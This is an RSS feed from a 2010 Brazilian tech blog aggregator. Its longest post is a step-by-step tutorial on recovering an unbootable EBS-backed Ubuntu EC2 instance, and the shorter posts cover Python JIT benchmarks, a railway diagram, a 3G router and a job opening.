<?xml version="1.0"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">

<channel>
	<title>Pandemonium</title>
	<link>http://nerds.valeta.org/</link>
	<language>en</language>
	<description>Pandemonium - http://nerds.valeta.org/</description>

<item>
	<title>Gustavo Niemeyer: Recovering a bootable EBS image</title>
	<guid>http://blog.labix.org/?p=250</guid>
	<link>http://blog.labix.org/2010/03/09/recovering-a-bootable-ebs-image</link>
	<description>&lt;p&gt;Scott Moser has &lt;a href=&quot;https://lists.ubuntu.com/archives/ubuntu-cloud/2010-March/000155.html&quot;&gt;just announced&lt;/a&gt; this week that the new Ubuntu images which boot out of an EBS-based root filesystem in EC2, and thus will persist across reboots, are available for testing.&lt;/p&gt;
&lt;p&gt;As usual with something that just left the oven and is explicitly labeled &lt;i&gt;for testing purposes&lt;/i&gt;, there was a minor bug in the first iteration of images which was even mentioned in the announcement itself.  The bug, if not worked around as specified in the announcement, will prevent the image from rebooting.&lt;/p&gt;
&lt;p&gt;Having an bootable EBS image which can’t reboot is a quite interesting (and ironic) problem.  You have an image which persists, but suddenly you have no way to see what is inside the image anymore because you can’t boot it.  Naturally, even if the said bug didn’t exist in the first place, it’s fairly easy to get into such a situation accidentally if you’re fiddling with the image configuration.&lt;/p&gt;
&lt;p&gt;So, in this post we’ll see how to recover from a situation where a bootable EBS image can’t boot.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;more-250&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Getting started&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;To start this up, we’ll boot one of the EBS images which Scott mentioned in his announcement: ami-8bec03e2.  As we see in the output of &lt;i&gt;ec2-describe-images&lt;/i&gt;, this is an EBS-based image for &lt;i&gt;i386&lt;/i&gt;:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-describe-images ami-8bec03e2&lt;br /&gt;
IMAGE	ami-8bec03e2	099720109477/ebs/ubuntu-images-testing/ubuntu-lucid-daily-i386-server-20100305	099720109477	available	public		i386	machine	aki-3fdb3756			ebs&lt;br /&gt;
BLOCKDEVICEMAPPING	/dev/sda1		snap-f1efd098	15
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Let’s run this image.  Remember to replace the value passed in the &lt;i&gt;-k&lt;/i&gt; command line option with your own key pair name.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-run-instances -k gsg-keypair ami-8bec03e2&lt;br /&gt;
RESERVATION	r-9e4615f6	626886203892	default&lt;br /&gt;
INSTANCE	i-e3e33a88	ami-8bec03e2			pending	gsg-keypair	0		m1.small	2010-03-09T20:04:12+0000	us-east-1c	aki-3fdb3756			monitoring-disabled			ebs
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;There we go.  We got an instance allocated in the availability zone us-east-1c.  It’s important to keep track of this information, since EBS volumes are zone-specific.&lt;/p&gt;
&lt;p&gt;As part of the above command, we must have been allocated an EBS volume automatically, and it should be attached to the instance we just started.  We can investigate it with the &lt;i&gt;ec2-describe-volumes&lt;/i&gt; command:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-describe-volumes&lt;br /&gt;
VOLUME	vol-edca1684	15	snap-f1efd098	us-east-1c	in-use	2010-03-09T20:04:20+0000&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-e3e33a88	/dev/sda1	attached	2010-03-09T20:04:24+0000
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Now, we’ll get into the running instance and do some arbitrary modifications, just as a way to demonstrate that the data we don’t want to lose actually survives the recovering operation. Note that the domain name is obtained with the &lt;i&gt;ec2-describe-instances&lt;/i&gt; command.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ssh -i ~/.ssh/id_dsa_gsg-keypair ubuntu@ec2-184-73-51-147.compute-1.amazonaws.com&lt;br /&gt;
(…)&lt;/p&gt;
&lt;p&gt;ubuntu@domU-12-31-39-0E-A0-03:~$ echo “Important data” &amp;gt; important-data&lt;br /&gt;
ubuntu@domU-12-31-39-0E-A0-03:~$ ls -l important-data&lt;br /&gt;
-rw-r–r– 1 ubuntu ubuntu 15 Mar  9 20:15 important-data&lt;/p&gt;
&lt;p&gt;ubuntu@domU-12-31-39-0E-A0-03:~$ sudo reboot&lt;br /&gt;
Broadcast message from ubuntu@domU-12-31-39-0E-A0-03&lt;br /&gt;
	(/dev/pts/0) at 20:18 …&lt;br /&gt;
The system is going down for reboot NOW!
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Note that we didn’t actually fix the problem reported by Scott, so our machine won’t really reboot.  If we wait a while, we can even see that the problem is exactly what was reported in the announcement (note it really takes a bit for the output to be synced up):&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-get-console-output i-e3e33a88 | tail -4&lt;br /&gt;
mount: special device ephemeral0 does not exist&lt;br /&gt;
mountall: mount /mnt [294] terminated with status 32&lt;br /&gt;
mountall: Filesystem could not be mounted: /mnt
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Alright, now what?  Machine is dead.. and can’t reboot.  How do we get to our important data?&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Fixing the problem&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;The first thing we do is to &lt;b&gt;stop&lt;/b&gt; the instance.  Do &lt;i&gt;not&lt;/i&gt; terminate it, or you’ll lose the EBS volume!  After stopping it, we’ll detach the EBS volume that was being used as the root filesystem, so that we can attach somewhere else.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-stop-instances i-e3e33a88&lt;br /&gt;
INSTANCE	i-e3e33a88	running	stopping&lt;/p&gt;
&lt;p&gt;% ec2-detach-volume vol-edca1684&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-e3e33a88	/dev/sda1	detaching	2010-03-09T20:04:22+0000
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Now, we need to attach this volume in an image which actually boots, so that we can fix it.  For this experiment, we’ll pick one of the daily Lucid images, but we could use any other working image really.  Just remind that the image must be running in the same availability zone as our previous instance, since the EBS volume won’t be accessible otherwise.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-run-instances -k gsg-keypair -z us-east-1c ami-b5f619dc&lt;br /&gt;
RESERVATION	r-967427fe	626886203892	default&lt;br /&gt;
INSTANCE	i-fd08d196	ami-b5f619dc			pending	gsg-keypair	0		m1.small	2010-03-09T21:10:11+0000	us-east-1c	aki-3fdb3756			monitoring-disabled			instance-store		&lt;/p&gt;
&lt;p&gt;% ec2-attach-volume vol-edca1684 -i i-fd08d196 -d /dev/sdh1&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-fd08d196	/dev/sdh1	attaching	2010-03-09T21:10:51+0000
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;With the instance running and the EBS root device attached with an alternative device name, we can then login to fix the original problem which prevented the image from booting correctly.  In our case, we’ll simply do what Scott suggested in the announcement.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ssh -i ~/.ssh/id_dsa_gsg-keypair ubuntu@ec2-204-236-194-196.compute-1.amazonaws.com&lt;br /&gt;
(…)&lt;br /&gt;
$ mkdir ebs-root&lt;br /&gt;
$ sudo mount /dev/sdh1 ebs-root&lt;br /&gt;
$ sudo sed -i ’s/^ephemeral0/#ephemeral0/’ ebs-root/etc/fstab&lt;br /&gt;
$ sudo umount ebs-root&lt;br /&gt;
$ logout&lt;br /&gt;
Connection to ec2-204-236-194-196.compute-1.amazonaws.com closed.
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Done!  Our EBS volume is now correct, and it should boot alright.  We’ll detach the volume from the temporary instance we created, and will reattach it back to the old bootable EBS instance which is stopped.  Note that we won’t yet terminate the temporary instance, because we may need it in case something else is still wrong, and we are already paying to use it for the hour anyway.  We just have to remind ourselves to terminate it once we’re fully done.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-detach-volume vol-edca1684&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-fd08d196	/dev/sdh1	detaching	2010-03-09T21:10:51+0000&lt;/p&gt;
&lt;p&gt;% ec2-attach-volume vol-edca1684 -i i-e3e33a88 -d /dev/sda1&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-e3e33a88	/dev/sda1	attaching	2010-03-09T21:24:55+0000&lt;/p&gt;
&lt;p&gt;% ec2-describe-volumes vol-edca1684&lt;br /&gt;
VOLUME	vol-edca1684	15	snap-f1efd098	us-east-1c	in-use	2010-03-09T20:04:20+0000&lt;br /&gt;
ATTACHMENT	vol-edca1684	i-e3e33a88	/dev/sda1	attached	2010-03-09T21:24:55+0000
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Okay!  It should all be good now.  It’s time to restart our instance, and see if it is working.  Note that since you stopped and started the instance, the public domain name most probably has changed, and thus we need to find it out again with &lt;i&gt;ec2-describe-instances&lt;/i&gt; once the instance is running.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-start-instances i-e3e33a88&lt;br /&gt;
INSTANCE	i-e3e33a88	stopped	pending&lt;/p&gt;
&lt;p&gt;% ec2-describe-instances i-e3e33a88&lt;br /&gt;
RESERVATION	r-9e4615f6	626886203892	default&lt;br /&gt;
INSTANCE	i-e3e33a88	ami-8bec03e2	ec2-184-73-72-214.compute-1.amazonaws.com	domU-12-31-39-03-B8-21.compute-1.internal	running	gsg-keypair	0		m1.small	2010-03-09T21:28:43+0000	us-east-1c	aki-3fdb3756			monitoring-disabled	184.73.72.214	10.249.187.207			ebs&lt;br /&gt;
BLOCKDEVICE	/dev/sda1	vol-edca1684	2010-03-09T21:24:55.000Z	&lt;/p&gt;
&lt;p&gt;% ssh -i ~/.ssh/id_dsa_gsg-keypair ubuntu@ec2-184-73-72-214.compute-1.amazonaws.com&lt;br /&gt;
(…)&lt;br /&gt;
$ cat important-data&lt;br /&gt;
Important data&lt;/p&gt;
&lt;p&gt;$ logout&lt;br /&gt;
Connection to ec2-184-73-72-214.compute-1.amazonaws.com closed.
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;It worked, and our important data is still there!&lt;/p&gt;
&lt;p&gt;Don’t forget to kill the temporary instance you’ve used to fix it after you’re comfortable with the result:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
% ec2-terminate-instances i-fd08d196&lt;br /&gt;
INSTANCE	i-fd08d196	running	shutting-down
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;Concluding, in this post we have seen how to fix a bootable EBS machine which can’t actually boot.  The technique consists of detaching the volume from the stopped instance, attaching it to a temporary instance, fixing the image, and then reattaching it back to the original image.  This back and forth of EBS volumes is quite useful in many circumstances, so keep it in your tool belt.&lt;/p&gt;</description>
	<pubDate>Tue, 09 Mar 2010 21:45:43 +0000</pubDate>
</item>
<item>
	<title>Thiago Santos: Edimax 3G-6200Wg</title>
	<guid>http://www.tmpsantos.com.br/2010/03/edimax-3g-6200wg/</guid>
	<link>http://www.tmpsantos.com.br/2010/03/edimax-3g-6200wg/</link>
	<description>Faz um tempo que estou usando uma conexão 3G da Claro, que tem funcionado incrivelmente bem, inclusive na zona rural. O inconveniente disso é que quando o modem está em casa (95% do tempo), todo mundo quer pegar uma carona.
Inicialmente compartilhava ligando meu notebook  a um roteador wireless convencional, fazendo o papel do “provedor”. O [...]</description>
	<pubDate>Tue, 09 Mar 2010 19:32:13 +0000</pubDate>
</item>
<item>
	<title>Epx: Quadro sinótico da ferrovia entre Corupá e São Bento</title>
	<guid>tag:blogger.com,1999:blog-20994619.post-3509644485811422652</guid>
	<link>http://casagrande.epx.com.br/2010/03/quadro-sinotico-da-ferrovia-entre.html</link>
	<description>A quem possa interessar, seguem dois quadros sinóticos da ferrovia São Francisco, no trecho de subida de serra entre Corupá e São Bento do Sul/SC. O primeiro desenho adota a estrada automotiva (de terra) como ponto de vista. Além de mais útil ao motorista que vá passear por lá, este desenho é um pouco mais próximo da disposição real.&lt;br /&gt;&lt;br /&gt;Obviamente o quadro não está em escala, nem tenta alinhar o Norte com as bordas verticais. A única referência mais dura é a altitude, anotada em verde em alguns pontos estratégicos (passagens de nível, túneis etc).&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5VMXNzquqI/AAAAAAAAAHQ/3GPgmgFsYeA/s1600-h/sinotico_rionatal1.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5VMXNzquqI/AAAAAAAAAHQ/3GPgmgFsYeA/s400/sinotico_rionatal1.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 283px; height: 400px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446343286101555874&quot; /&gt;&lt;/a&gt;&lt;br /&gt;O segundo quadro inverte o ponto de vista: a ferrovia é uma linha reta e as estradinhas de terra é que se contorcem em torno. Serviria a um maquinista de trem.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5VMX_jL9pI/AAAAAAAAAHY/wzWqOp5-q64/s1600-h/sinotico_rionatal2.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5VMX_jL9pI/AAAAAAAAAHY/wzWqOp5-q64/s400/sinotico_rionatal2.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 283px; height: 400px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446343299454203538&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Apesar de menos fiel à coisa real, o segundo quadro corresponde à impressão que se tem quando percorremos a via férrea (por exemplo, no passeio de maria-fumaça): o trilho &quot;vai reto&quot; e as estradas é que ficam dando voltas loucas.&lt;br /&gt;&lt;br /&gt;Ambas as imagens têm tamanho aproximado A4 com 300dpi de resolução.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/20994619-3509644485811422652?l=casagrande.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Mon, 08 Mar 2010 19:21:44 +0000</pubDate>
</item>
<item>
	<title>Acoster: Ubisoft Porto Alegre está contratando</title>
	<guid>http://coster.wait4.org/blog/?p=26</guid>
	<link>http://coster.wait4.org/blog/2010/03/ubisoft-porto-alegre-esta-contratando/</link>
	<description>&lt;p&gt;A Ubisoft Porto Alegre está contratando programadores PHP para a função de Backend Programmer. A descrição completa da vaga, assim como dados para contato estão disponíveis &lt;a href=&quot;http://coster.wait4.org/blog/wp-content/uploads/2010/03/Programmer.jpg&quot;&gt;aqui&lt;/a&gt;. (Sim, o email está certo)&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/bNYrFYIVdCM1tqC1_nUfa2eeFGQ/0/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/bNYrFYIVdCM1tqC1_nUfa2eeFGQ/0/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://feedads.g.doubleclick.net/~a/bNYrFYIVdCM1tqC1_nUfa2eeFGQ/1/da&quot;&gt;&lt;img src=&quot;http://feedads.g.doubleclick.net/~a/bNYrFYIVdCM1tqC1_nUfa2eeFGQ/1/di&quot; border=&quot;0&quot; ismap=&quot;true&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class=&quot;feedflare&quot;&gt;
&lt;a href=&quot;http://feeds.feedburner.com/~ff/acoster?a=BcgAbfDCO2I:QERXjNu8-Xs:D7DqB2pKExk&quot;&gt;&lt;img src=&quot;http://feeds.feedburner.com/~ff/acoster?i=BcgAbfDCO2I:QERXjNu8-Xs:D7DqB2pKExk&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src=&quot;http://feeds.feedburner.com/~r/acoster/~4/BcgAbfDCO2I&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;</description>
	<pubDate>Mon, 08 Mar 2010 17:32:34 +0000</pubDate>
</item>
<item>
	<title>Epx: Um pequeno teste com o Unladen Swallow</title>
	<guid>tag:blogger.com,1999:blog-16987833.post-5274615902537451344</guid>
	<link>http://senzala.epx.com.br/2010/03/um-pequeno-teste-com-o-unladen-swallow.html</link>
	<description>Tenho trabalhado num novo livro sobre opções, desta vez com um enfoque muito mais prático que o anterior. Uma ferramenta que estou desenvolvendo para fundamentar o texto (além da experiência empírica, com que a crise de 2008 nos &quot;presenteou&quot;) é a simulação de estratégias.&lt;br /&gt;&lt;br /&gt;O programa simulador é escrito em Python. Dados os parâmetros, o aplicativo simula um grande número de operações (geralmente 100 mil) e devolve rentabilidade. Segue um exemplo de rodada de simulação:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R2_tdBElI/AAAAAAAAAE0/kb_1j2Yn0M0/s1600-h/Screen+shot+2010-03-07+at+4.25.45+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R2_tdBElI/AAAAAAAAAE0/kb_1j2Yn0M0/s400/Screen+shot+2010-03-07+at+4.25.45+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 148px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446108686302909010&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Milhares de combinações de parâmetros são simuladas; a saída acima foi apenas uma delas. Para facilitar a análise da massa de dados, os dados são jogados num gráfico como o exemplo abaixo (feito em Tkinter):&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3Qwb4MII/AAAAAAAAAE8/yjSgSCAYvm8/s1600-h/Screen+shot+2010-03-07+at+4.23.46+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3Qwb4MII/AAAAAAAAAE8/yjSgSCAYvm8/s400/Screen+shot+2010-03-07+at+4.23.46+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 256px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446108979161215106&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Cada rodada de simulação vira apenas seis pontos nesse gráfico -- um de cada cor. São 5000 combinações, 100.000 operações por combinação. E para cada operação, é preciso simular cada dia, de modo a testar a estratégia com &quot;gaps&quot;, &quot;stops&quot;, e toda essa baboseira de investimento.&lt;br /&gt;&lt;br /&gt;Logo ficou claro que, com o Python padrão, ia demorar semanas para gerar a massa de dados. Aí lembrei do Pysco, aquele compilador JIT. Com ele, consegui um ganho médio de 4 vezes na performance:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3hvchFeI/AAAAAAAAAFE/fu8fP2kzCOY/s1600-h/Screen+shot+2010-03-07+at+4.23.00+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3hvchFeI/AAAAAAAAAFE/fu8fP2kzCOY/s400/Screen+shot+2010-03-07+at+4.23.00+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 143px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109270953235938&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Assim, o que ia levar uma semana, passa a levar um dia. (Também tirei partido do fato do computador ter 2 processadores, o que permite o teste simultâneo de 2 combinações, traduzindo num ganho total de 8x). O mais atraente do Pysco é a incrível simplicidade de aplicação num programa convencional. Bastam duas linhas no início:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ZakrNwDOHFE/S5R4GxzyfCI/AAAAAAAAAFU/InLXsjIj7JM/s1600-h/Screen+shot+2010-03-07+at+4.24.25+PM.png&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_ZakrNwDOHFE/S5R4GxzyfCI/AAAAAAAAAFU/InLXsjIj7JM/s400/Screen+shot+2010-03-07+at+4.24.25+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 375px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109907242875938&quot; /&gt;&lt;/a&gt;&lt;br /&gt;(Ao fundo, pode-se ver o vídeo do YouTube que eu estava vendo quando tirei os snapshots.)&lt;br /&gt;&lt;br /&gt;Também adicionei estas linhas no programa gerador gráfico. O ganho de performance foi menos estelar, mas ainda assim palpável, certamente eu usaria o Unladen se o Psyco não estivesse à mão.&lt;br /&gt;&lt;br /&gt;Nos últimos dias, ouvimos falar muito do &lt;a href=&quot;http://code.google.com/p/unladen-swallow/&quot;&gt;Unladen Swallow&lt;/a&gt;, o projeto do Google para adicionar JIT ao interpretador Python, mas já trabalhando a coisa (tecnica e politicamente) para integração ao Python &quot;baunilha&quot;.&lt;br /&gt;&lt;br /&gt;Compilei a versão trunk do Unladen, e funcionou normalmente com meu aplicativo:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_ZakrNwDOHFE/S5R3xS8lmCI/AAAAAAAAAFM/UABTGoHmVJ4/s1600-h/Screen+shot+2010-03-07+at+4.27.35+PM.png&quot;&gt;&lt;img src=&quot;http://1.bp.blogspot.com/_ZakrNwDOHFE/S5R3xS8lmCI/AAAAAAAAAFM/UABTGoHmVJ4/s400/Screen+shot+2010-03-07+at+4.27.35+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 131px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109538181027874&quot; /&gt;&lt;/a&gt;&lt;br /&gt;O ganho foi em torno de 1.6x. Menos que o Psyco, mas ainda assim considerável. Detalhe: o Unladen otimiza em qualquer arquitetura suportada pelo LLVM. O executável Python do exemplo acima é 64 bits real, enquanto o Python padrão do Snow Leopard tem de ser configurado para 32 bits para funcionar com o Psyco, já que este último só &quot;cospe&quot; código i386.&lt;br /&gt;&lt;br /&gt;Não consegui compilar o Unladen para 32 bits, o que permitiria uma comparação mais justa (vai que o LLVM para i386 esteja mais otimizado). De qualquer forma, é bom ver um projeto de otimização Python no caminho certo, e melhor ainda se eles conseguirem eliminar o GIL, conforme estão prometendo.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/16987833-5274615902537451344?l=senzala.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Mon, 08 Mar 2010 04:13:20 +0000</pubDate>
</item>
<item>
	<title>Epx: Small test with Unladen Swallow</title>
	<guid>tag:blogger.com,1999:blog-16987833.post-2073434711284431218</guid>
	<link>http://senzala.epx.com.br/2010/03/small-test-with-unladen-swallow.html</link>
	<description>I have been working on a new book about stock options, this time with a &quot;dirty hands&quot; approach. As part of the effort, I have been developing a strategy simulation tool in Python language. Given some market and simulation parameters, the application &quot;does&quot; 100 thousand &quot;operations&quot; and spits out average return and volatility:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R2_tdBElI/AAAAAAAAAE0/kb_1j2Yn0M0/s1600-h/Screen+shot+2010-03-07+at+4.25.45+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R2_tdBElI/AAAAAAAAAE0/kb_1j2Yn0M0/s400/Screen+shot+2010-03-07+at+4.25.45+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 148px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446108686302909010&quot; /&gt;&lt;/a&gt;&lt;br /&gt;The above output is just one scenario. Thousands of scenarios must be analyzed. For easier examination of the data mass, it is plotted as a graph by a Python/TkInter script:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3Qwb4MII/AAAAAAAAAE8/yjSgSCAYvm8/s1600-h/Screen+shot+2010-03-07+at+4.23.46+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3Qwb4MII/AAAAAAAAAE8/yjSgSCAYvm8/s400/Screen+shot+2010-03-07+at+4.23.46+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 256px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446108979161215106&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Each simulation scenario becomes just six points in the above graph (one for each color). It takes a lot of processing time to simulate all of this, especially because each operation must be simulated in a day-by-day basis, in order to test strategy against &quot;gaps&quot; and &quot;stops&quot; and all this investment stuff.&lt;br /&gt;&lt;br /&gt;Soon it was clear that the task would take weeks with standard Python. Then I remembered about Psyco, the Python JIT compiler. Using Psyco gave an immediate 4x performance boost:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3hvchFeI/AAAAAAAAAFE/fu8fP2kzCOY/s1600-h/Screen+shot+2010-03-07+at+4.23.00+PM.png&quot;&gt;&lt;img src=&quot;http://2.bp.blogspot.com/_ZakrNwDOHFE/S5R3hvchFeI/AAAAAAAAAFE/fu8fP2kzCOY/s400/Screen+shot+2010-03-07+at+4.23.00+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 143px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109270953235938&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Compounding this with concurrent simulation of two scenarios (putting both CPUs into use), simulation time became a matter of days, not weeks. The most attractive trait of Psyco is simplicity of usage -- just two lines of code at the beginning of script:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_ZakrNwDOHFE/S5R4GxzyfCI/AAAAAAAAAFU/InLXsjIj7JM/s1600-h/Screen+shot+2010-03-07+at+4.24.25+PM.png&quot;&gt;&lt;img src=&quot;http://4.bp.blogspot.com/_ZakrNwDOHFE/S5R4GxzyfCI/AAAAAAAAAFU/InLXsjIj7JM/s400/Screen+shot+2010-03-07+at+4.24.25+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 375px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109907242875938&quot; /&gt;&lt;/a&gt;&lt;br /&gt;In the last few weeks, we have heard a lot about &lt;a href=&quot;http://code.google.com/p/unladen-swallow/&quot;&gt;Unladen Swallow&lt;/a&gt;, Google's approach to add JIT into standard Python interpreter (with great chance of integration into vanilla Python). I have compiled the trunk version, and it worked normally with my script:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_ZakrNwDOHFE/S5R3xS8lmCI/AAAAAAAAAFM/UABTGoHmVJ4/s1600-h/Screen+shot+2010-03-07+at+4.27.35+PM.png&quot;&gt;&lt;img src=&quot;http://1.bp.blogspot.com/_ZakrNwDOHFE/S5R3xS8lmCI/AAAAAAAAAFM/UABTGoHmVJ4/s400/Screen+shot+2010-03-07+at+4.27.35+PM.png&quot; alt=&quot;&quot; style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 131px;&quot; border=&quot;0&quot; id=&quot;BLOGGER_PHOTO_ID_5446109538181027874&quot; /&gt;&lt;/a&gt;&lt;br /&gt;Gain was around 1.6x, less than Psyco, but still noteworthy. Note that Psyco is i386-only, while Unladen works for every architecture supported by LLVM. The above Unladen exacutable is truly 64-bit, while Snow Leopard's Python must be configured to run in 32-bit in order to accomodate Psyco.&lt;br /&gt;&lt;br /&gt;I could not compila 32-bit version of Unladen (not even an Universal one, which I could lipo 64-bit out). That would allow for a more fair comparison with Psyco. Still, I feel Unladen already provides palpable performance gains and it is in the right path. It is good to see a Python optimization project to go forward. Even better if they manage to remove GIL.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/tracker/16987833-2073434711284431218?l=senzala.epx.com.br&quot; alt=&quot;&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&lt;/div&gt;</description>
	<pubDate>Mon, 08 Mar 2010 04:10:14 +0000</pubDate>
</item>
<item>
	<title>Bad Coffee: O media center evoluiu!</title>
	<guid>http://rigues.badcoffee.info/?p=789</guid>
	<link>http://rigues.badcoffee.info/2010/03/04/o-media-center-evoluiu/</link>
